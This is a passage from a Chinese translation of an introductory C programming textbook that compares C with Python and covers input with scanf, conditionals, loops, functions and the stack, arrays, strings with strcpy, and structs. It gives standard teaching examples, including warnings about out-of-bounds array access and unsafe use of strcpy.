// store the int value at the memory location of x (&x)
// store the float value at the memory location of pi (&pi)
scanf("%d%g", &x, &pi);
当通过 scanf 输入数据时,单独的数字输入值必须至少由一个空白字符分隔。然而,由于 scanf 会跳过额外的前导和尾随空白字符(例如空格、制表符和换行符),用户可以在每个输入值的前后输入任意数量的空白字符。例如,如果用户在前面的 scanf 示例中输入以下内容,scanf 将读取 8 并将其存储在 x 变量中,然后读取 3.14 并将其存储在 pi 变量中:
8 3.14
1.3 条件语句与循环
接下来的代码示例展示了 C 和 Python 中的 if–else 语句的语法和语义非常相似。主要的语法差异在于,Python 使用缩进来表示“主体”语句,而 C 使用大括号(但在 C 代码中仍应使用良好的缩进)。
# Python if-else example
def main():
num1 = input("Enter the 1st number:")
num1 = int(num1)
num2 = input("Enter the 2nd number:")
num2 = int(num2)
if num1 > num2:
print("%d is biggest" % num1)
num2 = num1
else:
print("%d is biggest" % num2)
num1 = num2
# call the main function:
main()
Python 版本
/* C if-else example */
#include <stdio.h>
int main() {
int num1, num2;
printf("Enter the 1st number: ");
scanf("%d", &num1);
printf("Enter the 2nd number: ");
scanf("%d", &num2);
if (num1 > num2) {
printf("%d is biggest\n", num1);
num2 = num1;
} else {
printf("%d is biggest\n", num2);
num1 = num2;
}
return 0;
}
C 版本
Python 和 C 的 if–else 语句的语法几乎相同,仅有一些细微的差异。在两者中,else 部分是可选的。Python 和 C 也都通过链式使用 if 和 else if 语句来支持多路分支。以下描述了完整的 if–else C 语法:
// a one-way branch:
if ( <boolean expression> ) {
<true body>
}
// a two-way branch:
if ( <boolean expression> ) {
<true body>
}
else {
<false body>
}
// a multibranch (chaining if-else if-...-else)
// (has one or more 'else if' following the first if):
if ( <boolean expression 1> ) {
<true body>
}
else if ( <boolean expression 2> ) {
// first expression is false, second is true
<true 2 body>
}
else if ( <boolean expression 3> ) {
// first and second expressions are false, third is true
<true 3 body>
}
// ... more else if's ...
else if ( <boolean expression N> ) {
// first N-1 expressions are false, Nth is true
<true N body>
}
else { // the final else part is optional
// if all previous expressions are false
<false body>
}
1.3.1 C 语言中的布尔值
C 不提供带有真或假值的布尔类型。相反,整数值在条件语句中被评估为 真 或 假。在条件表达式中使用时,一个整数表达式:
零(0)被评估为 假;
非零(任何正值或负值)被评估为 真。
C 提供了一组关系和逻辑运算符用于布尔表达式。关系运算符接受相同类型的操作数,并计算出零(假)或非零(真)。关系运算符的集合包括:
相等(==)和不等(!=);
比较运算符:小于(<)、小于或等于(<=)、大于(>)和大于或等于(>=)。
以下 C 语言代码片段显示了关系运算符的示例:
// assume x and y are ints, and have been assigned
// values before this point in the code
if (y < 0) {
printf("y is negative\n");
} else if (y != 0) {
printf("y is positive\n");
} else {
printf("y is zero\n");
}
// set x and y to the larger of the two values
if (x >= y) {
y = x;
} else {
x = y;
}
C 语言的逻辑运算符接受整数“布尔”操作数,并评估为零(假)或非零(真)。逻辑运算符包括:
逻辑非(!);
逻辑与(&&):在遇到第一个假表达式时停止评估(短路运算);
逻辑或(||):在遇到第一个真表达式时停止评估(短路运算)。
C 语言的短路逻辑运算符评估逻辑表达式时,如果结果已知,就停止评估。例如,如果逻辑与(&&)表达式的第一个操作数评估为假,则&&表达式的结果必须为假。因此,第二个操作数的值不需要再评估,也不会被评估。
以下是使用逻辑运算符的 C 语言条件语句示例(通常最好在复杂的布尔表达式周围使用括号,使其更易于阅读):
if ( (x > 10) && (y >= x) ) {
printf("y and x are both larger than 10\n");
x = 13;
} else if ( ((-x) == 10) || (y > x) ) {
printf("y might be bigger than x\n");
x = y * x;
} else {
printf("I have no idea what the relationship between x and y is\n");
}
1.3.2 C 语言中的循环
和 Python 一样,C 语言支持for和while循环。此外,C 语言还提供了do–while循环。
while循环
C 语言和 Python 中的while循环语法几乎相同,行为也相同。在这里,你可以看到使用while循环的 C 语言和 Python 示例程序:
# Python while loop example
def main():
num = input("Enter a value: ")
num = int(num)
# make sure num is not negative
if num < 0:
num = -num
val = 1
while val < num:
print("%d" % (val))
val = val * 2
# call the main function:
main()
Python 版本
/* C while loop example */
#include <stdio.h>
int main() {
int num, val;
printf("Enter a value: ");
scanf("%d", &num);
// make sure num is not negative
if (num < 0) {
num = -num;
}
val = 1;
while (val < num) {
printf("%d\n", val);
val = val * 2;
}
return 0;
}
C 版本
C 语言中的while循环语法与 Python 非常相似,并且两者的评估方式相同:
while ( <boolean expression> ) {
<true body>
}
while循环首先检查布尔表达式,如果为真,则执行循环体。在上面的示例程序中,val变量的值将在while循环中反复打印,直到其值大于num变量的值。如果用户输入10,C 语言和 Python 程序将打印:
1
2
4
8
C 语言也有一个do–while循环,它与while循环类似,但它首先执行循环体,然后检查条件,并在条件为真时重复执行循环体。也就是说,do–while循环至少会执行一次循环体:
do {
<body>
} while ( <boolean expression> );
有关更多while循环示例,请参阅whileLoop1.c(6)和`whileLoop2.c`。(7)
for循环
C 语言中的for循环与 Python 中的for循环有所不同。在 Python 中,for循环是对序列的迭代,而在 C 语言中,for循环是一种更通用的循环结构。以下是使用for循环打印 0 到用户提供的输入数之间所有值的示例程序:
# Python for loop example
def main():
num = input("Enter a value: ")
num = int(num)
# make sure num is not negative
if num < 0:
num = -num
for i in range(num):
print("%d" % i)
# call the main function:
main()
Python 版本
/* C for loop example */
#include <stdio.h>
int main() {
int num, i;
printf("Enter a value: ");
scanf("%d", &num);
// make sure num is not negative
if (num < 0) {
num = -num;
}
for (i = 0; i < num; i++) {
printf("%d\n", i);
}
return 0;
}
C 版本
在这个例子中,你可以看到 C 语言的for循环语法与 Python 的for循环语法有很大不同。它们的评估方式也不同。
C 语言的for循环语法是:
for ( <initialization>; <boolean expression>; <step> ) {
<body>
}
for循环的评估规则是:
1. 在第一次进入循环时评估
2. 评估for循环(换句话说,程序完成了对循环体语句的重复执行)。
3. 评估循环体内的语句。
4. 评估
5. 从步骤(2)重复。
这是一个简单的for循环示例,用于打印 0、1 和 2 的值:
int i;
for (i = 0; i < 3; i++) {
printf("%d\n", i);
}
对前面的循环执行for循环评估规则会得到以下操作顺序:
(1) eval init: i is set to 0 (i=0)
(2) eval bool expr: i < 3 is true
(3) execute loop body: print the value of i (0)
(4) eval step: i is set to 1 (i++)
(2) eval bool expr: i < 3 is true
(3) execute loop body: print the value of i (1)
(4) eval step: i is set to 2 (i++)
(2) eval bool expr: i < 3 is true
(3) execute loop body: print the value of i (2)
(4) eval step: i is set to 3 (i++)
(2) eval bool expr: i < 3 is false, drop out of the for loop
以下程序展示了一个更复杂的for循环示例(也可以下载^(8))。请注意,仅仅因为 C 支持具有语句列表作为其<初始化>和<步骤>部分的for循环,并不意味着必须复杂化。 (这个示例展示了一个更复杂的for循环语法,但如果通过将j += 10步骤语句移到循环体的末尾,并仅使用一个步骤语句i += 1,for循环会更易读和理解。)
/* An example of a more complex for loop which uses multiple variables.
* (it is unusual to have for loops with multiple statements in the
* init and step parts, but C supports it and there are times when it
* is useful...don't go nuts with this just because you can)
*/
#include <stdio.h>
int main() {
int i, j;
for (i=0, j=0; i < 10; i+=1, j+=10) {
printf("i+j = %d\n", i+j);
}
return 0;
}
// the rules for evaluating a for loop are the same no matter how
// simple or complex each part is:
// (1) evaluate the initialization statements once on the first
// evaluation of the for loop: i=0 and j=0
// (2) evaluate the boolean condition: i < 10
// if false (when i is 10), drop out of the for loop
// (3) execute the statements inside the for loop body: printf
// (4) evaluate the step statements: i += 1, j += 10
// (5) repeat, starting at step (2)
在 C 中,for循环和while循环是等价的,这意味着任何while循环都可以用for循环来表示,反之亦然。 Python 中情况不同,for循环是对一系列值的迭代。因此,它们不能表达一些更通用的 Python while循环能够表达的循环行为。像不确定循环就是一个只能用while循环在 Python 中实现的例子。
考虑以下 C 语言中的while循环:
int guess = 0;
while (guess != num) {
printf("%d is not the right number\n", guess);
printf("Enter another guess: ");
scanf("%d", &guess);
}
这个循环可以翻译为一个等效的 C 语言for循环:
int guess;
for (guess = 0; guess != num; ) {
printf("%d is not the right number\n", guess);
printf("Enter another guess: ");
scanf("%d", &guess);
}
然而,在 Python 中,这种类型的循环行为只能通过使用while循环来表达。
因为在 C 语言中,for和while循环具有相同的表达能力,所以语言中只需要一种循环结构。然而,for循环对于确定次数的循环(例如迭代一系列值)来说是更自然的语言结构,而while循环则是更自然的语言结构,用于不确定次数的循环(例如,重复执行直到用户输入一个偶数)。因此,C 提供了这两种循环结构供程序员使用。
1.4 函数
函数将代码分解成可管理的部分,并减少代码重复。函数可能接受零个或多个参数作为输入,并且返回一个特定类型的单一值。函数声明或原型指定函数的名称、返回类型和参数列表(所有参数的数量和类型)。函数定义包括函数调用时要执行的代码。所有的 C 函数在调用之前必须声明。这可以通过声明函数原型或在调用之前完全定义函数来实现:
// function definition format:
// ---------------------------
<return type> <function name> (<parameter list>)
{
<function body>
}
// parameter list format:
// ---------------------
<type> <param1 name>, <type> <param2 name>, ..., <type> <last param name>
这是一个函数定义的示例。请注意,注释描述了函数的功能、每个参数的详细信息(它的用途以及应该传递什么),以及函数返回的内容:
/* This program computes the larger of two
* values entered by the user.
*/
#include <stdio.h>
/* max: computes the larger of two integer values
* x: one integer value
* y: the other integer value
* returns: the larger of x and y
*/
int max(int x, int y) {
int bigger;
bigger = x;
if (y > x) {
bigger = y;
}
printf(" in max, before return x: %d y: %d\n", x, y);
return bigger;
}
不返回值的函数应该指定void返回类型。以下是一个void函数的示例:
/* prints out the squares from start to stop
* start: the beginning of the range
* stop: the end of the range
*/
void print_table(int start, int stop) {
int i;
for (i = start; i <= stop; i++) {
printf("%d\t", i*i);
}
printf("\n");
}
如同任何支持函数或过程的编程语言一样,函数调用通过传递特定的参数值来调用函数。一个函数通过其名称被调用,并传入与函数参数一一对应的参数。在 C 中,调用函数的方式如下:
// function call format:
// ---------------------
function_name(<argument list>);
// argument list format:
// ---------------------
<argument 1 expression>, <argument 2 expression>, ..., <last argument expression>
C 函数的参数是按值传递的:每个函数参数被赋予调用者在函数调用时传递给它的对应参数的值。按值传递的语义意味着,函数内对参数值的任何改变(即在函数内给参数赋新值)对调用者来说是不可见的。
下面是一些对前面提到的max和print_table函数的示例调用:
int val1, val2, result;
val1 = 6;
val2 = 10;
/* to call max, pass in two int values, and because max returns an
int value, assign its return value to a local variable (result)
*/
result = max(val1, val2); /* call max with argument values 6 and 10 */
printf("%d\n", result); /* prints out 10 */
result = max(11, 3); /* call max with argument values 11 and 3 */
printf("%d\n", result); /* prints out 11 */
result = max(val1 * 2, val2); /* call max with argument values 12 and 10 */
printf("%d\n", result); /* prints out 12 */
/* print_table does not return a value, but takes two arguments */
print_table(1, 20); /* prints a table of values from 1 to 20 */
print_table(val1, val2); /* prints a table of values from 6 to 10 */
这是另一个完整程序的示例,展示了对max函数一个稍有不同实现的调用,该实现增加了一条语句来改变它的参数值(x = y):
/* max: computes the larger of two int values
* x: one value
* y: the other value
* returns: the larger of x and y
*/
int max(int x, int y) {
int bigger;
bigger = x;
if (y > x) {
bigger = y;
// note: changing the parameter x's value here will not
// change the value of its corresponding argument
x = y;
}
printf(" in max, before return x: %d y: %d\n", x, y);
return bigger;
}
/* main: shows a call to max */
int main() {
int a, b, res;
printf("Enter two integer values: ");
scanf("%d%d", &a, &b);
res = max(a, b);
printf("The larger value of %d and %d is %d\n", a, b, res);
return 0;
}
以下输出展示了该程序两次运行的可能结果。注意在两次运行中,参数x的值(从max函数内部打印出来)有所不同。特别是,注意到在第二次运行中,改变参数x的值并不会影响在调用返回后传递给max的变量。
$ ./a.out
Enter two integer values: 11 7
in max, before return x: 11 y: 7
The larger value of 11 and 7 is 11
$ ./a.out
Enter two integer values: 13 100
in max, before return x: 100 y: 100
The larger value of 13 and 100 is 100
因为参数是按值传递给函数的,所以前述的max函数版本,它改变了一个参数的值,行为与原始版本的max函数相同,后者没有改变任何参数的值。
1.4.1 栈
执行栈跟踪程序中活动函数的状态。每次函数调用都会创建一个新的栈帧(有时称为激活帧或激活记录),其中包含该函数的参数和局部变量的值。栈顶的帧是活动帧,它代表当前正在执行的函数激活,只有它的局部变量和参数在作用域内。当函数被调用时,会为其创建一个新的栈帧(推入栈顶),并在新帧中分配空间存储其局部变量和参数。当函数返回时,其栈帧会从栈中移除(弹出栈顶),留下调用者的栈帧作为栈顶。
对于前面的示例程序,在执行到max执行return语句之前,执行栈的状态如图 1-3 所示。回想一下,main传递给max的参数值是按值传递的,这意味着max的参数x和y被赋予了它们对应的参数a和b的值,这些值来自main中的调用。尽管max函数改变了x的值,但这个变化并不会影响main中a的值。

图 1-3:从max函数返回前的执行栈内容
以下完整程序包含两个函数,并展示了如何从 main 函数调用它们。在这个程序中,我们在 main 函数之前声明了 max 和 print_table 的函数原型,这样 main 即使先定义,也能访问它们。main 函数包含程序的高层步骤,先定义它反映了程序的自顶向下设计。此示例包括描述程序中重要部分(如函数和函数调用)的注释。你还可以下载并运行完整程序。^(9)
/* This file shows examples of defining and calling C functions.
* It also demonstrates using scanf().
*/
#include <stdio.h>
/* This is an example of a FUNCTION PROTOTYPE. It declares just the type
* information for a function (the function's name, return type, and parameter
* list). A prototype is used when code in main wants to call the function
* before its full definition appears in the file.
*/
int max(int n1, int n2);
/* A prototype for another function. void is the return type of a function
* that does not return a value
*/
void print_table(int start, int stop);
/* All C programs must have a main function. This function defines what the
* program does when it begins executing, and it's typically used to organize
* the big-picture behavior of the program.
*/
int main() {
int x, y, larger;
printf("This program will operate over two int values.\n");
printf("Enter the first value: ");
scanf("%d", &x);
printf("Enter the second value: ");
scanf("%d", &y);
larger = max(x, y);
printf("The larger of %d and %d is %d\n", x, y, larger);
print_table(x, larger);
return 0;
}
/* This is an example of a FUNCTION DEFINITION. It specifies not only the
* function name and type, but it also fully defines the code of its body.
* (Notice, and emulate, the complete function comment!)
*/
/* Computes the max of two integer values.
* n1: the first value
* n2: the other value
* returns: the larger of n1 and n2
*/
int max(int n1, int n2) {
int result;
result = n1;
if (n2 > n1) {
result = n2;
}
return result;
}
/* prints out the squares from start to stop
* start: the beginning of the range
* stop: the end of the range
*/
void print_table(int start, int stop) {
int i;
for (i = start; i <= stop; i++) {
printf("%d\t", i*i);
}
printf("\n");
}
1.5 数组与字符串
数组是 C 中的一种结构,它创建了一个有序的数据元素集合,这些元素都是相同类型,并将该集合与一个程序变量关联。有序意味着每个元素在集合中的位置是特定的(即,位置 0、位置 1 等),而不是说这些值必须是排序的。数组是 C 中用于将多个数据值组合在一起并通过一个单一名称引用它们的主要机制之一。数组有多种形式,但基本形式是一维数组,它对于实现类似列表的数据结构和字符串在 C 中非常有用。
1.5.1 数组简介
C 数组可以存储多个相同类型的数据值。本章我们讨论的是静态声明的数组,意味着数组的总容量(即可以存储的最大元素数量)是固定的,并且在数组变量声明时就已定义。在下一章中,我们将讨论其他数组类型,如“动态分配”数组,详见 第 153 页,以及“两维数组”,详见 第 84 页。
以下代码展示了 Python 和 C 版本的程序,程序初始化并打印一个整数值集合。Python 版本使用内置的列表类型存储这些值,而 C 版本则使用 int 类型的数组来存储这些值。
通常,Python 提供了一个高级的列表接口,隐藏了许多低级的实现细节。而 C 则向程序员暴露了低级的数组实现,并由程序员来实现更高级的功能。换句话说,数组允许低级数据存储,而没有高级的列表功能,例如 len、append、insert 等。
# An example Python program using a list.
def main():
# create an empty list
my_lst = []
# add 10 integers to the list
for i in range(10):
my_lst.append(i)
# set value at position 3 to 100
my_lst[3] = 100
# print the number of list items
print("list %d items:" % len(my_lst))
# print each element of the list
for i in range(10):
print("%d" % my_lst[i])
# call the main function:
main()
Python 版本
/* An example C program using an array. */
#include <stdio.h>
int main() {
int i, size = 0;
// declare array of 10 ints
int my_arr[10];
// set the value of each array element
for (i = 0; i < 10; i++) {
my_arr[i] = i;
size++;
}
// set value at position 3 to 100
my_arr[3] = 100;
// print the number of array elements
printf("array of %d items:\n", size);
// print each element of the array
for (i = 0; i < 10; i++) {
printf("%d\n", my_arr[i]);
}
return 0;
}
C 版本
C 版本和 Python 版本的程序有许多相似之处,最明显的是可以通过索引访问各个元素,而且索引值从 0 开始。也就是说,两种语言都将集合中的第一个元素称为位置 0 的元素。
该程序的 C 版本和 Python 版本的主要区别在于列表或数组的容量以及它们的大小(元素个数)如何确定。对于 Python 列表:
my_lst[3] = 100 # Python syntax to set the element in position 3 to 100.
my_lst[0] = 5 # Python syntax to set the first element to 5.
对于 C 数组:
my_arr[3] = 100; // C syntax to set the element in position 3 to 100.
my_arr[0] = 5; // C syntax to set the first element to 5.
在 Python 版本中,程序员不需要事先指定列表的容量:Python 会根据程序需要自动增加列表的容量。例如,Python 的 append 函数会自动增加列表的大小,并将传入的值添加到列表的末尾。
相比之下,在 C 语言中声明数组变量时,程序员必须指定其类型(数组中每个值的类型)和总容量(最大存储位置数量)。例如:
int arr[10]; // declare an array of 10 ints
char str[20]; // declare an array of 20 chars
上述声明创建了一个名为 arr 的变量,这是一个容量为 10 的 int 数组;另一个名为 str 的变量,是一个容量为 20 的 char 数组。
计算列表的大小(大小是指列表中的总值个数),Python 提供了一个 len 函数,它返回传入的任何列表的大小。在 C 语言中,程序员必须显式地跟踪数组中元素的数量(例如,在 第 47 页 C 示例中的 size 变量)。
从 Python 和 C 版本的程序来看,另一个可能不明显的差异是 Python 列表和 C 数组在内存中的存储方式。C 语言规定了数组在程序内存中的布局,而 Python 则隐藏了列表的实现方式。在 C 语言中,单个数组元素会在程序内存中连续分配位置。例如,第三个数组位置紧接着第二个数组位置,并紧接在第四个数组位置之前。
1.5.2 数组访问方法
Python 提供了多种访问列表元素的方法,而 C 语言则仅支持索引,如前所述。有效的索引值范围从 0 到数组容量减去 1。以下是一些示例:
int i, num;
int arr[10]; // declare an array of ints, with a capacity of 10
num = 6; // keep track of how many elements of arr are used
// initialize first 5 elements of arr (at indices 0-4)
for (i=0; i < 5; i++) {
arr[i] = i * 2;
}
arr[5] = 100; // assign the element at index 5 the value 100
这个示例声明了一个容量为 10 的数组(它有 10 个元素),但只使用了前六个(我们当前的值集合大小是 6,而不是 10)。在使用静态声明数组时,通常会有一些数组的容量未被使用。因此,我们需要另一个程序变量来跟踪数组中的实际大小(元素数量)(在这个例子中是 num)。
当程序尝试访问无效索引时,Python 和 C 在错误处理方法上有所不同。如果使用无效的索引值访问列表中的元素(例如,索引超出列表元素数量),Python 会抛出 IndexError 异常。而在 C 语言中,程序员需要确保代码仅使用有效的索引值来访问数组。因此,对于像下面这样访问超出分配数组范围的数组元素的代码,程序的运行时行为是未定义的。
int array[10]; // an array of size 10 has valid indices 0 through 9
array[10] = 100; // 10 is not a valid index into the array
C 语言编译器可以愉快地编译访问数组越界位置的代码;编译器或运行时都没有进行边界检查。因此,运行这段代码可能会导致程序行为异常(并且这种行为可能每次运行都不同)。它可能导致程序崩溃,可能更改其他变量的值,或者可能对程序行为没有任何影响。换句话说,这种情况会导致程序错误,这种错误可能会表现为意外的程序行为,也可能不会。作为 C 程序员,你需要确保你的数组访问指向有效的位置!
1.5.3 数组与函数
在 C 语言中,传递数组给函数的语义类似于在 Python 中传递列表给函数:函数可以修改传递的数组或列表中的元素。以下是一个示例函数,接受两个参数,一个是int类型的数组参数(arr),另一个是int类型的参数(size):
void print_array(int arr[], int size) {
int i;
for (i = 0; i < size; i++) {
printf("%d\n", arr[i]);
}
}
参数名后面的[]告诉编译器,参数arr的类型是整数数组,而不是像参数size那样的整数。在下一章,我们将展示指定数组参数的另一种语法。数组参数arr的容量没有指定:arr[]意味着这个函数可以接受任何容量的数组作为参数。因为无法仅通过数组变量获取数组的大小或容量,所以传递数组的函数几乎总是会有第二个参数来指定数组的大小(如前面示例中的size参数)。
要调用一个有数组参数的函数,请将数组的名称作为参数传递。以下是一个 C 语言代码片段,包含调用print_array函数的示例:
int some[5], more[10], i;
for (i = 0; i < 5; i++) { // initialize the first 5 elements of both arrays
some[i] = i * i;
more[i] = some[i];
}
for (i = 5; i < 10; i++) { // initialize the last 5 elements of "more" array
more[i] = more[i-1] + more[i-2];
}
print_array(some, 5); // prints all 5 values of "some"
print_array(more, 10); // prints all 10 values of "more"
print_array(more, 8); // prints just the first 8 values of "more"
在 C 语言中,数组变量的名称等同于数组的基地址(即其第一个元素的内存位置)。由于 C 语言的按值传递函数调用语义,当你将数组传递给函数时,并不是将数组的每个元素单独传递给函数。换句话说,函数并没有接收到每个数组元素的副本。相反,数组参数接收到的是数组基地址的值。这种行为意味着,当一个函数修改了作为参数传递的数组的元素时,修改会在函数返回时保留。例如,考虑下面这个 C 语言程序片段:
void test(int a[], int size) {
if (size > 3) {
a[3] = 8;
}
size = 2; // changing parameter does NOT change argument
}
int main() {
int arr[5], n = 5, i;
for (i = 0; i < n; i++) {
arr[i] = i;
}
printf("%d %d", arr[3], n); // prints: 3 5
test(arr, n);
printf("%d %d", arr[3], n); // prints: 8 5
return 0;
}
在main中调用test函数时,传递了参数arr,其值是arr数组在内存中的基地址。test函数中的参数a获得了这个基地址值的副本。换句话说,参数a指向与其参数arr相同的数组存储位置。因此,当test函数更改存储在a数组中的值(a[3] = 8)时,它会影响参数数组中的相应位置(arr[3]现在为 8)。原因是a的值是arr的基地址,arr的值也是arr的基地址,因此a和arr指向相同的数组(即内存中的相同存储位置)!图 1-4 显示了在test函数返回之前执行时堆栈中的内容。

图 1-4:带有数组参数的函数的堆栈内容
参数a被传入数组参数arr的基地址值,这意味着它们都指向内存中相同的一组数组存储位置。我们通过从a指向arr的箭头来表示这一点。函数test修改的值被突出显示。修改参数size的值不会改变其对应参数n的值,但修改a所指向的某个元素的值(例如,a[3] = 8)会影响arr中对应位置的值。
1.5.4 字符串及 C 字符串库简介
Python 实现了一种字符串类型并提供了丰富的接口来使用字符串,但 C 语言中没有对应的字符串类型。相反,字符串在 C 中实现为char类型的数组。并不是每个字符数组都作为 C 字符串使用,但每个 C 字符串都是字符数组。
回顾一下,C 语言中的数组可能被定义为比程序最终使用的大小更大的尺寸。例如,在“数组访问方法”一节中我们看到,可能声明一个大小为 10 的数组,但只使用前六个位置。这种行为对字符串有重要影响:我们不能假设字符串的长度等于存储它的数组的大小。因此,C 语言中的字符串必须以一个特殊字符值——空字符(’\0’)——来表示字符串的结束。
以空字符结尾的字符串称为空终止。尽管所有 C 语言中的字符串应该是空终止的,但未正确处理空字符是初学 C 语言的程序员常见的错误来源。在使用字符串时,必须记住字符数组必须声明足够的容量来存储字符串中的每个字符值以及空字符(’\0’)。例如,要存储字符串"hi",你需要一个至少包含三个字符的数组(一个存储'h',一个存储'i',一个存储'\0')。
由于字符串是常用的,C 提供了一个包含字符串操作函数的字符串库。使用这些字符串库函数的程序需要包含string.h头文件。
当使用printf打印字符串的值时,使用格式字符串中的%s占位符。printf函数会打印数组参数中的所有字符,直到遇到’\0’字符。同样,字符串库函数通常通过查找’\0’字符来定位字符串的结尾,或者向任何它们修改的字符串末尾添加’\0’字符。
这是一个使用字符串和字符串库函数的示例:
#include <stdio.h>
#include <string.h> // include the C string library
int main() {
char str1[10];
char str2[10];
int len;
str1[0] = 'h';
str1[1] = 'i';
str1[2] = '\0';
len = strlen(str1);
printf("%s %d\n", str1, len); // prints: hi 2
strcpy(str2, str1); // copies the contents of str1 to str2
printf("%s\n", str2); // prints: hi
strcpy(str2, "hello"); // copy the string "hello" to str2
len = strlen(str2);
printf("%s has %d chars\n", str2, len); // prints: hello has 5 chars
}
C 字符串库中的strlen函数返回字符串参数中字符的数量。字符串的终止空字符不算作字符串长度的一部分,因此对strlen(str1)的调用返回 2(字符串"hi"的长度)。strcpy函数会从源字符串(第二个参数)一个字符一个字符地复制到目标字符串(第一个参数),直到遇到源字符串中的空字符为止。
请注意,大多数 C 字符串库函数期望传入一个字符数组,数组的容量足以让函数完成其任务。例如,你不希望调用strcpy时,目标字符串的容量不足以容纳源字符串;这样做会导致程序出现未定义行为!
C 字符串库函数还要求传入的字符串值是正确格式的,并且以’\0’字符作为终止符。作为 C 程序员,你有责任确保传递给 C 库函数的字符串是有效的。因此,在前面的示例中,如果源字符串(str1)没有初始化以包含终止的’\0’字符,strcpy会继续访问超出str1数组边界的内存,导致未定义行为,可能会导致程序崩溃。
警告 STRCPY 可能是一个不安全的函数
前面的示例安全地使用了strcpy函数。但一般来说,strcpy存在安全风险,因为它假设目标足够大,能够存储整个字符串,但这并不总是成立(例如,如果字符串来自用户输入)。
我们选择现在展示strcpy是为了简化对字符串的介绍,但我们在“字符串与字符串库”章节中展示了更安全的替代方法。
在下一章中,我们将更详细地讨论 C 字符串和字符串库。
1.6 结构体
数组和结构体是 C 语言支持创建数据元素集合的两种方式。数组用于创建相同类型的数据元素的有序集合,而结构体用于创建不同类型的数据元素集合。C 程序员可以通过多种方式将数组和结构体的构建模块组合在一起,创建更复杂的数据类型和结构体。本节介绍了结构体,下一章我们将更详细地描述结构体(“C 结构体”见第 103 页),并展示如何将它们与数组结合使用(“结构体数组”见第 198 页)。
C 语言不是面向对象的语言,因此不支持类。然而,它支持定义结构化类型,这些类型类似于类的数据部分。struct是用于表示异构数据集合的类型;它是一种将不同类型的数据作为一个统一整体处理的机制。C 结构体为单个数据值提供了一层抽象,将它们作为一个单一类型进行处理。例如,一个学生有姓名、年龄、平均成绩点(GPA)和毕业年份。程序员可以定义一个新的struct类型,将这四个数据元素组合成一个包含姓名(类型char[],用于存储字符串)、年龄(类型int)、GPA(类型float)和毕业年份(类型int)的struct student变量。这个结构体类型的单个变量可以存储特定学生的这四个数据,例如(“Freya”,19,3.7,2021)。
在 C 程序中定义和使用struct类型有三个步骤:
1. 定义一个新的struct类型来表示结构。
2. 声明新struct类型的变量。
3. 使用点(.)符号表示法访问变量的单个字段值。
1.6.1 定义结构体类型
结构体类型的定义应该位于任何函数外部,通常放在程序.c文件的顶部。定义新结构体类型的语法如下(struct是一个保留关键字):
struct <struct_name> {
<field 1 type> <field 1 name>;
<field 2 type> <field 2 name>;
<field 3 type> <field 3 name>;
...
};
下面是定义一个新的struct studentT类型来存储学生数据的示例:
struct studentT {
char name[64];
int age;
float gpa;
int grad_yr;
};
这个结构体定义为 C 的类型系统添加了一个新类型,类型名称是struct studentT。该结构体定义了四个字段,每个字段的定义包括字段的类型和名称。注意,在这个示例中,name字段的类型是字符数组,用于存储字符串(见“字符串简介及 C 字符串库”在第 50 页)。
1.6.2 声明结构体类型的变量
一旦类型被定义,你就可以声明新类型struct studentT的变量。注意,与我们之前遇到的其他仅由单个单词组成的类型(例如int、char和float)不同,我们新的结构体类型的名称由两个单词组成,即struct studentT。
struct studentT student1, student2; // student1, student2 are struct studentT
1.6.3 访问字段值
要访问结构体变量中的字段值,请使用点符号表示法:
<variable name>.<field name>
在访问结构体及其字段时,需要仔细考虑你所使用变量的类型。C 语言初学者常常因未考虑结构体字段的类型而在程序中引入错误。表 1-2 展示了多个与我们struct studentT类型相关的表达式类型。
表 1-2: 与各种struct studentT表达式相关的类型
| 表达式 | C 类型 |
|---|---|
student1 |
struct studentT |
student1.age |
整型(int) |
student1.name |
字符数组(char []) |
student1.name[3] |
字符(char),name数组中每个位置存储的类型 |
下面是一些赋值struct studentT变量字段的示例:
// The 'name' field is an array of characters, so we can use the 'strcpy'
// string library function to fill in the array with a string value.
strcpy(student1.name, "Kwame Salter");
// The 'age' field is an integer.
student1.age = 18 + 2;
// The 'gpa' field is a float.
student1.gpa = 3.5;
// The 'grad_yr' field is an int
student1.grad_yr = 2020;
student2.grad_yr = student1.grad_yr;
图 1-5 展示了在前面的例子中,给student1变量赋值后其在内存中的布局。只有结构体变量的字段(框中区域)会存储在内存中。图中标出了字段名以便于理解,但对于 C 编译器而言,字段仅仅是从结构体变量内存起始位置的存储位置或偏移量。例如,根据struct studentT的定义,编译器知道,要访问名为gpa的字段,必须跳过 64 个字符(name)的数组和一个整数(age)。请注意,图中,name字段只展示了 64 字符数组中的前六个字符。

图 1-5:student1变量赋值后各字段在内存中的布局
C 结构体类型是左值,意味着它们可以出现在赋值语句的左侧。因此,可以使用简单的赋值语句将一个结构体变量的值赋给另一个结构体变量。赋值语句右侧的结构体字段值会被复制到左侧结构体的字段值中。换句话说,一个结构体的内存内容会被复制到另一个结构体的内存中。以下是以这种方式赋值结构体的示例:
student2 = student1; // student2 gets the value of student1
// (student1's field values are copied to
// corresponding field values of student2)
strcpy(student2.name, "Frances Allen"); // change one field value
图 1-6 展示了执行赋值语句和调用strcpy之后两个学生变量的值。注意,图中展示的是name字段所包含的字符串值,而不是完整的 64 字符数组。

图 1-6:执行结构体赋值和strcpy调用后的student1和student2结构体布局
C 提供了一个sizeof运算符,它接受一个类型并返回该类型所占的字节数。sizeof运算符可以用于任何 C 类型,包括结构体类型,以查看该类型的变量需要多少内存空间。例如,我们可以打印struct studentT类型的大小:
// Note: the '%lu' format placeholder specifies an unsigned long value.
printf("number of bytes in student struct: %lu\n", sizeof(struct studentT));
运行时,这行应该输出至少76 字节的值,因为 name 数组中有 64 个字符(每个 char 占 1 字节),int age 字段占 4 字节,float gpa 字段占 4 字节,int grad_yr 字段占 4 字节。某些机器上的实际字节数可能会大于 76 字节。
这是一个完整的示例程序(可下载^(10)),定义并展示了如何使用我们的struct studentT类型:
#include <stdio.h>
#include <string.h>
// Define a new type: struct studentT
// Note that struct definitions should be outside function bodies.
struct studentT {
char name[64];
int age;
float gpa;
int grad_yr;
};
int main() {
struct studentT student1, student2;
strcpy(student1.name, "Kwame Salter"); // name field is a char array
student1.age = 18 + 2; // age field is an int
student1.gpa = 3.5; // gpa field is a float
student1.grad_yr = 2020; // grad_yr field is an int
/* Note: printf doesn't have a format placeholder for printing a
* struct studentT (a type we defined). Instead, we'll need to
* individually pass each field to printf. */
printf("name: %s age: %d gpa: %g, year: %d\n",
student1.name, student1.age, student1.gpa, student1.grad_yr);
/* Copy all the field values of student1 into student2\. */
student2 = student1;
/* Make a few changes to the student2 variable. */
